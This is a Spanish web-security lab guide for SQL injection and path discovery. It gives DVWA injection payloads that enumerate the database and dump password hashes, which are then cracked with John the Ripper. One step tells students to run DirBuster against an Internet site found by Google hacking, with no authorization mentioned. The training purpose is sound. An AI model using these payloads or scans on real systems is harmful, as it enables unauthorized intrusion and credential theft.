Está en la página 1de 9

Prácticas de Laboratorio PR-SEC 001

Modulo 7"Seguridad Web"


“SQL
SQL Injection y Descubrimiento de Ruta”
Ruta

Práctica Guiada Número 16:

Laboratorio:Móduloseguridad
seguridad web,
web laboratorio de evaluación de la
seguridad de un sitio web, usando las técnicas de SQL Injection y
Descubrimiento de ruta.

Objetivos:

Aplicar de forma práctica los conceptos vistos en clases en lo que respecta a la


arquitectura y funcionamiento de una aplicación web y las técnicas de ataque que son
utilizadas por los delincuentes informáticos para violentar la seguridad de un aplicativo
web.

Recursos:

Maquina
ina Virtual Windows Server
Internet
Aplicación DVWA (Descarga esta aplicación DVWA de la siguiente dirección web:
web
http://sourceforge.net/projects/dvwa/
XAMMP (PHP,MYSQL,APACHE). Descargar el software XAMMP desde la siguiente
dirección Web http://www.apachefriends.org/en/xampp-windows.html#641
http://www.apachefriends.org/en/xampp windows.html#641

Recomendaciones:

Comprender los conceptos relacionados con la estructura de un sitio web, y la forma


en que trabaja con aplicaciones dinámicas.
Comprender las diferentes técnicas de ataque vistas en clase.
Usar para los procesos de SQL Injection el navegador Firefox y no el Internet Explorer
Instalar el XAMMP y la aplicación DVWA según las instrucciones del docente.

Recomendación puesta en marcha DVWA: Una vez que se tenga el servidor web apache y el
servidor de bases de datos MYSQL arriba, se debe de copiar la carpeta dvwa al directorio
httpdocs para poder que funcione
cione el aplicativo web vulnerable. Luego se debe de configurar la
conexión e la base de datos de la aplicación, y por ultimo ingresar a la aplicación con las
credenciales admin:password.

Anotación importante:: Esta práctica está basada en un proceso de evaluación


evaluación a la seguridad
de una aplicación web, desde el punto de vista de un Pentester, sin embargo es importante
comprender algunos conceptos relacionados con bases de datos como el manejo de consultas
SQL y la administración básica de un sistema gestor de bases de datos, que puede ser MYSQL,
Oracle o MSSQL.
Desarrollo de la Práctica:

Para la realización de la siguiente práctica de laboratorio, se requiere realizar los siguientes


pasos:

Paso 1: Identificar un sitio web cualquiera, puede ser el de sus empresas. De forma paralela
colocar en funcionamiento el analizador de protocolos Wireshark. Una vez conectado, realizar
lo siguiente:

• Identificar el intercambio en tres vías y tomar el respectivo pantallazo


• Identificar las variables respectivas en la solicitud del tipo HTTP Request
• Identificar las variables respectivas solicitud del tipo HTTP Response
• Identificar las cookies

Paso 2: Realizar el mismo ejercicio anterior, pero esta vez usando un plugin de firefox llamado
HTTP Headers (https://addons.mozilla.org/en-US/firefox/addon/live-http-headers/). Hacer la
respectiva toma de pantalla. Tener presente que el Addon de Firefox debe de ser instalado.
Ese funciona tanto en Linux, como en Windows.

Paso 3:SQL Injection: Para lograr realizar los procesos de SQL Injection, es importante seguir
de forma secuencial las siguientes actividades:

Nota: Para los siguientes ejercicios debes de ir a la opción de la aplicación DVWA que se
describe como DVWA Security, y seleccionar el nivel de seguridad low, justo y como se
muestra en la siguiente imagen.

Funcionamiento normal de la aplicación DVWA: Para el proceso de utilización normal


de la aplicación DWVA en la sesión de SQL Injection, el usuario debe de ingresar un ID,
para poder obtener los datos First name y Surname (Esto es en modo normal, no
ataque). Probar ingresando los siguientes ID: 1,2,3,4,5 respectivamente. Si se ingresa
algo fuera de estos datos, simplemente el sistema no devuelve nada de información.
Al momento de que el resultado anterior tenga éxito, se asume que en el código de la
aplicación PHP debe de haber algo similar a esto:

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

Inyección Básica:Se debe de ir en la aplicación DVWA a la opción que dice SQL


Injection. Luego para comenzar con el proceso de SQL Injection contra nuestra
aplicación vulnerable, lo primero que vamos a realizar es inyectarle el código básico
que fue utilizado en clases pasadas, el cual es el siguiente:

' or '1'='1

%' or '0'='0 ---(Vamos a continuar los siguientes ejercicios con este código de
inyección.

Nota: recordar que esta inyección (' or '1'='1) funciona por la sentencia or y por la función
matemática la cual siempre va a dar un valor verdadero (true).

Y la inyección (%' or '0'='0) funciona por el símbolo % que indica que no es igual a nada, o es un
valor falso, y por la función matemática, la cual siempre va a dar un valor verdadero (true)

Luego de que inyectamos el código básico en el formulario de la aplicación web, debe de salir
lo siguiente.
Nota:Si se lanzara directamente la consulta SQL por un motor de bases de datos, la cual es
generada directamente por la aplicación DVWA a partir de la petición, seria similar a esta:

SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0';

Usando otras sentencias SQL Injection, para enumerar información al respecto de la base de
datos de la aplicación victima:

Ejecutar la siguiente inyección SQL, la cual debe de a aprovechar la opción de


unionselect para obtener la versión de la base de datos.

%' or 0=0 union select null, version() #


La siguiente actividad es ejecutar siguiente sentencia, la cual aprovecha la opción de
unionselect para obtener el usuario de la base de datos con que se ejecutan las
consultas a la base de datos.

%' or 0=0 union select null, user() #

La siguiente actividad es ejecutar siguiente sentencia,la cual se aprovecha la opción de


unionselect para obtener el nombre de la base de datos

%' or 0=0 union select null,database() #

Ejecutar la siguiente sentencia, la cual se aprovecha la opción de union select para


obtener el directorio en donde se encuentra la base de datos. (Y por consecuente
podemos identificar el sistema operativo en donde se ejecuta la aplicación que
estamos evaluando)
%' or 0=0 union select null,@@datadir #

Ejecutando la siguiente sentencia obtenemos información del


INFORMATION_SCHEMA de MYSQL donde se puede obtener información de todas las
bases de datos que contiene el motor de bases de datos. (Sin embargo esta sentencia
se puede mejorar con alguna criterio de búsqueda específica)

mejorada quedaria:
%' and 1=0 union select null, table_name from information_schema.tables where table_name
like 'user%'#

Con la anterior información se puede observar que se identifican tablas con criterios de
búsqueda de usuarios
El siguiente paso es buscar una sentencia que nos informe sobre las tablas existentes
en una respectiva base de datos, para el caso vamos a usar la siguiente sentencia:

%' and 1=0 union select table_schema,table_name from information_schema.tables where


table_schema = 'dvwa' #

Luego que se identifican las tablas de la bases de datos respectiva, seria ideal conocer
las columnas de dicha base de datos. Lo anterior se logra con el siguiente comando:

%' and 1=0 union select table_name,column_name from information_schema.columns where


table_schema = 'dvwa' #
Una vez que se tenga identificadas las columnas de las bases de datos, seria
interesante obtener los password de cada uno de los usuarios, La siguiente consulta
nos puede ayudar.

%' or 0=0 union select password,first_name from users where first_name='admin

Basado en la consulta anterior obtener todos los hashes de las contraseñas, los cuales
están hasheados en MD5. Luego debes de guardarlos en un archivo de texto con el
siguiente formato:

usuario:hash

Finalmente ingresar a Backtrack y hacer uso de un crackeador de password MD5. John


the Ripper seria ideal, El siguiente comando puede ser de gran ayuda.

./john --format=raw-MD5 passwords.txt

También puedes usar http://www.md5decrypter.co.uk/

Paso numero 4: Realizar de forma manual un análisis de trafico a la pagina de login de DVWA e
identificar el método usado (GET o POST) y registrar cual seria la pertinencia de usar uno u
otra en una aplicación web.

Paso numero 5: Realizar un proceso de descubrimiento de ruta a un aplicativo web existente


en Internet. Para identificarlo usa las técnicas de googlehacking para descubrir aplicativos web
dinámicos. Luego configura la herramienta disrbuster de backtrack, para comenzar un proceso
de identificación de ruta.
Verificar los resultados, con el fin de obtener información representativa sobre información de
ruta.

También podría gustarte